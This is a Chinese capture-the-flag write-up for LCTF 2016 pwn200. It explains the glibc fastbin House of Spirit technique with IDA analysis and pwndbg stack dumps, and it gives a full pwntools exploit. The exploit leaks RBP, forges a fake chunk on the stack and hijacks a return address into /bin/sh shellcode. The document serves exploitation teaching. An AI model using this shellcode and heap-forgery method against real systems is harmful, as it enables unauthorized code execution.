fastbin_attack中的House of Spirit(例题)

题目:LCTF 2016 pwn200

参考资料:PWN入门(3-10-2)-fastbin_attack中的House of Spirit(例题) (yuque.com)

lctf2016_pwn200 - 简书 (jianshu.com)

附件下载:

链接:https://pan.baidu.com/s/19XhTlMm0rA2cy0IuhujWtQ
提取码:sw0o
–来自百度网盘超级会员V3的分享

实验环境

image-20230816110233350

Ubuntu16.04,libc版本是2.23

检查文件保护机制

image-20230816110328308

未开启任何保护。

IDA静态分析

main函数

image-20230816110635780

sub_40079D函数

image-20230816110714762

设置程序的缓冲区。

sub_400A8E()函数

根据函数是否有返回值来确定函数的类型是否改为void

image-20230816110805064

由于循环次数为48次,而定义变量v2时分配了48字节。那么当我们输入48字节的内容时,根据printf的特性,在打印的时候会泄露出栈ebp的地址。

printf打印字符串直到\x00为止

image-20230816111222473

可以看见v2是和栈底ebp相连的,所以泄露时会打印出ebp的地址。

sub_400A8E()–>sub_4007DF()函数

image-20230816111525539

简单来说,这个函数就是用来输入数字并将输入内容转化为int类型数据。

sub_400A8E()–>sub_400A29函数

image-20230816113544495

这个函数开头就malloc了0x40的堆空间,然后将chunk的data段地址赋值给了dest,之后调用read函数让我们输入”money”保存到buf中。但这里值得注意的是: buf的大小是0x32,而read可以读0x40个数据,在经过strcpy之后会造成overflow,而被盖掉的是dest,也就是保存malloc出来的chunk地址。将申请出来的chunk的data段地址传入了函数sub_4009C4。

1
2
3
4
5
6
0000000000000040 buf db ?         大小0x40
-000000000000003F db ? ; undefined
......(省略的为buf空间)
-0000000000000008 dest dq ? ; offset
+0000000000000000 s db 8 dup(?) //函数sub_400A29函数栈底
+0000000000000008 r db 8 dup(?) //返回地址,返回到函数400A8E()

ptr是void类型的全局指针

image-20230816122029658

sub_400A8E()–>sub_400A29–>sub_4009C4()函数

image-20230816122159392

sub_400A8E()–>sub_400A29–>sub_4009C4()–>sub_4009AF函数

image-20230816122339963

菜单界面。

sub_400A8E()–>sub_400A29–>sub_4009C4()–>sub_4007DF函数

image-20230816122457936

也是输入数字并将输入内容转化为int类型数据。

sub_400A8E()–>sub_400A29–>sub_4009C4()–>sub_40096D函数

image-20230816122557852

根据ptr指针来判断用户是否登陆。

sub_400A8E()–>sub_400A29–>sub_4009C4()–>sub_4008B7函数

image-20230816123136385

Pwngdb动态调试

运行程序,熟悉程序执行流程

image-20230816123441632

重新输入调试,了解内存布局

image-20230816123915100

查看内存分布:

image-20230816124034878

查看堆的内容:

image-20230816124122238

正好对应了sub_400A29函数开头的malloc(0x40)。

image-20230816124255545

0x00007fff0a363534小端部分的363534正好对应了输入的money:456(小端序),前面的7fff应该是之前写入的,只有低地址被覆盖了。

查看此时的栈:

image-20230816125659464

再查看一下函数调用栈

image-20230816125729168

查看此时0x7fffffffdd98处内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> x/30gx 0x7fffffffdd98
0x7fffffffdd98: 0x0000000000000000 0x0000000000000000
0x7fffffffdda8: 0x0000000000400824 0x0000000000000000
0x7fffffffddb8: 0x0000000000000000 0x00007fffffffdde0
0x7fffffffddc8: 0x00000000004009e0 0x0000000000000000
0x7fffffffddd8: 0x00007ffff7ffe168 0x00007fffffffde30
0x7fffffffdde8: 0x0000000000400a8c 0x00007fff0a363534
#buf输入到这里
0x7fffffffddf8: 0x0000000000000000 0x0000000000000000
0x7fffffffde08: 0x00007ffff7a43ea0 0x0000000000000009
0x7fffffffde18: 0x00000000004008b5 0x0000000000333231
#id输入到这里
0x7fffffffde28: 0x0000000000603010 0x00007fffffffde90
#chunk_data起始地址
0x7fffffffde38: 0x0000000000400b34 0x00007ffff7dd18e0
0x7fffffffde48: 0x00007ffff7fdd700 0x0000000000000007
0x7fffffffde58: 0x000000000000007b 0x006e61757975687a
#name输入在这里
0x7fffffffde68: 0x00007ffff7a7cfc4 0x0000000000000000
0x7fffffffde78: 0x0000000000000000 0x00007fffffffde90
0x7fffffffde88: 0x00000000004007dd 0x00007fffffffdeb0
#rbp
0x7fffffffde98: 0x0000000000400b59 0x00007fffffffdf98
#sub_400A8E返回地址
0x7fffffffdea8: 0x0000000100000000 0x0000000000400b60
#rbp内容
0x7fffffffdeb8: 0x00007ffff7a2d840 0x0000000000000000
0x7fffffffdec8: 0x00007fffffffdf98 0x0000000100000000
0x7fffffffded8: 0x0000000000400b36 0x0000000000000000
0x7fffffffdee8: 0xe8960b468bc217dc 0x00000000004006b0
0x7fffffffdef8: 0x00007fffffffdf90 0x0000000000000000
0x7fffffffdf08: 0x0000000000000000 0x1769f439208217dc

可以重新输入调试溢出的情况:

1
2
3
4
输入:
name: 111111111111111111111111111111111111111111111111
id: 222
buf:333333333333333333333333333333333333333333333333333333333333333

查看内存情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> x/30gx 0x7fffffffdd98
0x7fffffffdd98: 0x0000000000000000 0x0000000000000000
0x7fffffffdda8: 0x0000000000000000 0x0000000000000000
0x7fffffffddb8: 0x0000000000000000 0x0000000000400cb7
0x7fffffffddc8: 0x00007ffff7a7c80a 0x0000000000000000
0x7fffffffddd8: 0x00007ffff7ffe168 0x0000000000000001
0x7fffffffdde8: 0x0000000000400a77 0x3333333333333333
#buf输入到这里
0x7fffffffddf8: 0x3333333333333333 0x3333333333333333
0x7fffffffde08: 0x3333333333333333 0x3333333333333333
0x7fffffffde18: 0x3333333333333333 0x3333333333333333
#id输入到这里
0x7fffffffde28: 0x0a33333333333333 0x00007fffffffde90
#chunk_data
0x7fffffffde38: 0x0000000000400b34 0x00007ffff7dd18e0
0x7fffffffde48: 0x00007ffff7fdd700 0x0000000000000030
0x7fffffffde58: 0x0000000000000001 0x3131313131313131
#name输入到这里
0x7fffffffde68: 0x3131313131313131 0x3131313131313131
0x7fffffffde78: 0x3131313131313131 0x3131313131313131
pwndbg>
0x7fffffffde88: 0x3131313131313131 0x00007fffffffdeb0 #printf会泄露内容
#rbp
0x7fffffffde98: 0x0000000000400b59 0x00007fffffffdf98
#sub_400A8E返回地址
0x7fffffffdea8: 0x0000000100000000 0x0000000000400b60
#rbp的内容
0x7fffffffdeb8: 0x00007ffff7a2d840 0x0000000000000000
#main函数返回地址
0x7fffffffdec8: 0x00007fffffffdf98 0x0000000100000000
0x7fffffffded8: 0x0000000000400b36 0x0000000000000000
0x7fffffffdee8: 0x7406ae250f91cc0a 0x00000000004006b0
0x7fffffffdef8: 0x00007fffffffdf90 0x0000000000000000

漏洞利用思路

  1. 将shellcode.ljust(48,’a’’)输入到name中,通过 off-by-one漏洞打印出来main函数栈底,通过上面结构图能够算出shellcode的地址,选取一个处在money中的位置作为fake_chunk
  2. 在money中伪造堆块size,在id里面输入的是下一个堆块的size(大小不能小于2* SIZE_SZ同时也不能大于av->system_mem ),同时通过堆溢出漏洞覆盖掉dest
  3. free掉刚才伪造的堆块,使其进入fastbin
  4. 申请堆块,申请出来还是在原来的位置。
  5. 输入数据到刚才申请的堆块中,覆盖掉leave指令,让之后的rip指向shellcode,完成劫持,执行shellocde。

自动化执行程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def init(leak):
sh.sendafter("who are u?\n",leak)

def fake(payload):
sh.sendlineafter("give me your id ~~?","31")
sh.sendafter("give me money~",payload)

def checkin(idx,payload):
sh.sendlineafter("your choice : ","1")
sh.sendlineafter("how long?\n",str(idx))
sh.sendafter(str(idx)+'\n',payload)

def checkout():
sh.sendlineafter("your choice : ","2")

泄露sub_400A8E栈底

部分payload如下:

1
2
3
4
5
6
init('a'*0x30)  #leak reg_RBP to caculate &shellcode
#start leaking
sh.recvuntil('a'*0x30)
reg_RBP = u64(sh.recv(6).ljust(8,"\x00"))
success("RBP register ===> "+hex(reg_RBP))
#gdb.attach(sh)

image-20230816170426093

执行完后,此时就会把栈底0x7fffffffdf30打印出来。

伪造fake_chunk

部分payload如下:

1
2
3
4
5
6
shellcode = "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = (shellcode+p64(0)*2+p64(0x41)).ljust(0x38,'\x00')
payload = payload+p64(reg_RBP-0x90)
fake(payload)

执行完之后,观察内存情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/50gx 0x7fffffffdf30 - 0xc0
0x7fffffffde70: 0x69622fbb48f63100 0x54535668732f2f6e
#shellocde开始
0x7fffffffde80: 0x050fd231583b6a5f 0x0000000000000000
#shellcode结束
0x7fffffffde90: 0x0000000000000000 0x0000000000000041

0x7fffffffdea0: 0x0000000000000000 0x00007fffffffdea0
#输入的id内容 #ptr(即chunk_data)现在指向0x00007fffffffdea0
此时堆块的地址被修改为0x7fffffffde90
0x7fffffffdeb0: 0x00007fffffffdf10 0x0000000000400b34
0x7fffffffdec0: 0x00007ffff7dd18e0 0x00007ffff7fdd700
0x7fffffffded0: 0x0000000000000030 0x000000000000001f
0x7fffffffdee0: 0x6161616161616161 0x6161616161616161
#name从这里开始
0x7fffffffdef0: 0x6161616161616161 0x6161616161616161
0x7fffffffdf00: 0x6161616161616161 0x6161616161616161
0x7fffffffdf10: 0x00007fffffffdf30 0x0000000000400b59
#被泄露的rbp
0x7fffffffdf20: 0x00007fffffffe018 0x0000000100000000

向栈中写入payload之前会进行malloc,malloc之后ptr指针指向的地址被修改为0x00007fffffffdea0,但是进行strcpy有\x00截断,shellcode之前的\x00正好截断,不会破坏payload。

malloc_chunk_start_addr = 0x7fffffffde90

现在ptr指向0x00007fffffffdea0

执行登出操作(free堆块)

部分payload:

1
checkout()

此时ptr指向0x00007fffffffdea0

image-20230816175437857

image-20230816175822724

执行登陆操作(malloc)

部分payload如下:

1
checkin(0x30,p64(0)*3+p64(reg_RBP - 0xc0 + 1))

checkin中的malloc,上一步free把chunk放到了fastbin中,所以malloc之后ptr=0x7fffffffdea0

执行之后观察内存:

执行前:

1
2
3
4
5
6
7
0x7fffffffde90:	0x0000000000000000	0x0000000000000041

0x7fffffffdea0: 0x0000000000000000 0x00007fffffffdea0
#输入的id内容 #ptr(即chunk_data)现在指向0x00007fffffffdea0
此时堆块的地址被修改为0x7fffffffde90
0x7fffffffdeb0: 0x00007fffffffdf10 0x0000000000400b34
leave指令地址

执行后:

1
2
3
4
5
0x7fffffffde90:	0x0000000000000000	0x0000000000000041
0x7fffffffdea0: 0x0000000000000000 0x0000000000000000
#输入的id内容
0x7fffffffdeb0: 0x0000000000000000 0x00007fffffffde71
修改为shellcode地址

image-20230816182724579

所以,程序退出时,就可以getshell。

注意

当我们利用House Of Spirt,伪造fake_chunk时,同时也要伪造next_chunk的size字段,因为前文说过,fastbin的检查机制同时也会检查free_chunk的下一个chunk的size字段。在本题中:

1
2
3
4
5
6
7
8
9
0x7fffffffde90:	0x0000000000000000	0x0000000000000041	#fake_chunk
0x7fffffffdea0: 0x0000000000000000 0x0000000000000000
0x7fffffffdeb0: 0x0000000000000000 0x00007fffffffde71
0x7fffffffdec0: 0x00007ffff7dd18e0 0x00007ffff7fdd700

0x7fffffffded0: 0x0000000000000030 0x000000000000001f #next_chunk_size
0x7fffffffdee0: 0x6161616161616161 0x6161616161616161
0x7fffffffdef0: 0x6161616161616161 0x6161616161616161
0x7fffffffdf00: 0x6161616161616161 0x6161616161616161

绕过了检测机制。所以fake_chunk才能被顺利的free掉。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = 0

def init(leak):
sh.sendafter("who are u?\n",leak)

def fake(payload):
sh.sendlineafter("give me your id ~~?","31")
sh.sendafter("give me money~",payload)

def checkin(idx,payload):
sh.sendlineafter("your choice : ","1")
sh.sendlineafter("how long?\n",str(idx))
sh.sendafter(str(idx)+'\n',payload)

def checkout():
sh.sendlineafter("your choice : ","2")

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./pwn")
else:
sh = remote(ip,port)

#Step 1: leaking $RBP

init('a'*0x30) #leak reg_RBP to caculate &shellcode
#start leaking
sh.recvuntil('a'*0x30)
reg_RBP = u64(sh.recv(6).ljust(8,"\x00"))
success("RBP register ===> "+hex(reg_RBP))

#Step 2: fake chunk
# "\x00" to cut off strcpy()
shellcode = "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = (shellcode+p64(0)*2+p64(0x41)).ljust(0x38,'\x00')
payload = payload+p64(reg_RBP-0x90)
fake(payload)


checkout()

checkin(0x30,p64(0)*3+p64(reg_RBP - 0xc0 + 1))
#gdb.attach(sh)
sh.recv()
sh.sendline('3')
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","25309",0,0)

image-20230816183640130

总结

因为这道题所有的溢出都无法覆盖到有效地址(return to shellcode),所以我们需要伪造一个fastbin_chunk回收到fastbin链中再释放从而控制更大范围的内存空间。

注意伪造fake_fastbin_chunk的条件

  • fake chunk的ISMMAP位不能为1,因为 free 时,如果是 mmap的chunk,会单独处理。
  • fake chunk地址需要对齐,MALLOC_ALIGN_MASK。
  • fake chunk的size大小需要满足对应的fastbin 的需求,同时也得对齐。
  • fake chunk的next chunk的大小不能小于2 * SIZE_SZ,(在32位系统中,SIZE_SZ是4;64位系统中,SIZE_SZ是8。next_chunk大小为1f (十进制:31)),同时也小于system_mem。
  • fake chunk对应的 fastbin链表头部不能是该fake chunk,即不能构成double free的情况。